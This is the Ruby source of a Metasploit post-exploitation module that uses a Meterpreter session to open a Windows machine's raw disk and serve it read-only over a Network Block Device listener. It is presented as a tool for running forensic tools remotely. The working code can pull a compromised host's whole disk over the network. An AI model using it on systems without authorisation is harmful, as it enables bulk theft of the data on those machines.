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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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#
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# Maps remote disks and logical volumes to a local Network Block Device
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# server. Allows for forensic tools to be executed on the remote disk
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# directly.
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#
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# R. Wesley McGrew [email protected]
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#    http://mcgrewsecurity.com
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# Mississippi State University National Forensics Training Center
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#    http://msu-nftc.org
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class MetasploitModule < Msf::Post
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Manage Local NBD Server for Remote Disks',
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        'Description' => %q{
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          Maps remote disks and logical volumes to a local Network Block
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          Device server. Allows for forensic tools to be executed on the remote disk directly.
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        },
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        'License' => MSF_LICENSE,
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        'Platform' => ['win'],
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        'SessionTypes' => ['meterpreter'],
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        'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>'],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_railgun_api
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('DEVICE', [true, 'Device to map (use enum_drives for possible names)', nil]),
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        OptString.new('NBDIP', [false, 'IP address for NBD server', '0.0.0.0']),
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        OptInt.new('NBDPORT', [false, 'TCP port for NBD server', 10005]),
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      ]
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    )
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  end
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  def run
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    ip_addr = datastore['NBDIP']
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    port = datastore['NBDPORT']
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    devname = datastore['DEVICE']
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    invalid_handle_value = 0xFFFFFFFF
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    invalid_set_file_pointer = 0xFFFFFFFF
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    fsctl_allow_extended_dasd_io = 0x00090083
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    ioctl_disk_get_drive_geometry_ex = 0x000700A0
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    r = client.railgun.kernel32.CreateFileA(devname, 'GENERIC_READ',
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                                            0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
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    handle = r['return']
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    r = client.railgun.kernel32.DeviceIoControl(handle, fsctl_allow_extended_dasd_io, nil, 0, 0, 0, 4, nil)
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    ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex,
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                                                    '', 0, 200, 200, 4, '')
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    if ioctl['GetLastError'] == 6
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      ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex,
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                                                      '', 0, 200, 200, 4, '')
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    end
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    geometry = ioctl['lpOutBuffer']
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    disk_size = geometry[24, 31].unpack('Q')[0]
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    socket = Rex::Socket::TcpServer.create({ 'LocalHost' => ip_addr, 'LocalPort' => port })
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    print_status("Listening on #{ip_addr}:#{port}")
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    print_status("Serving #{devname} (#{disk_size} bytes)")
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    rsock = socket.accept
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    print_status('Accepted a connection')
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    # Negotiation
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    rsock.put('NBDMAGIC')
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    rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")
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    rsock.put([disk_size].pack('Q').reverse)
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    rsock.put("\x00\x00\x00\x03")  # Read-only
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    rsock.put("\x00" * 124)
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    print_line('Sent negotiation')
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    loop do
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      request = rsock.read(28)
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      unless request
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        print_error('No data received')
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        break
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      end
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      magic, request, nbd_handle, offset_n, length = request.unpack('NNa8a8N')
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      if magic != 0x25609513
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        print_error('Wrong magic number')
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        break
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      end
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      if request == 2
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        break
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      end
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      if request == 1
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        print_error('Attempted write on a read-only nbd')
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        break
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      end
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      next unless request == 0
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      client.railgun.kernel32.SetFilePointer(handle, offset_n[4, 7].unpack('N')[0],
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                                             offset_n[0, 4].unpack('N')[0], 0)
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      rsock.put("gDf\x98\x00\x00\x00\x00")
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      rsock.put(nbd_handle)
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      data = client.railgun.kernel32.ReadFile(handle, length, length, 4, nil)['lpBuffer']
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      rsock.put(data)
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    end
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    print_status('Closing')
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    rsock.close
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    socket.close
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    client.railgun.kernel32.CloseHandle(handle)
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  end
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end
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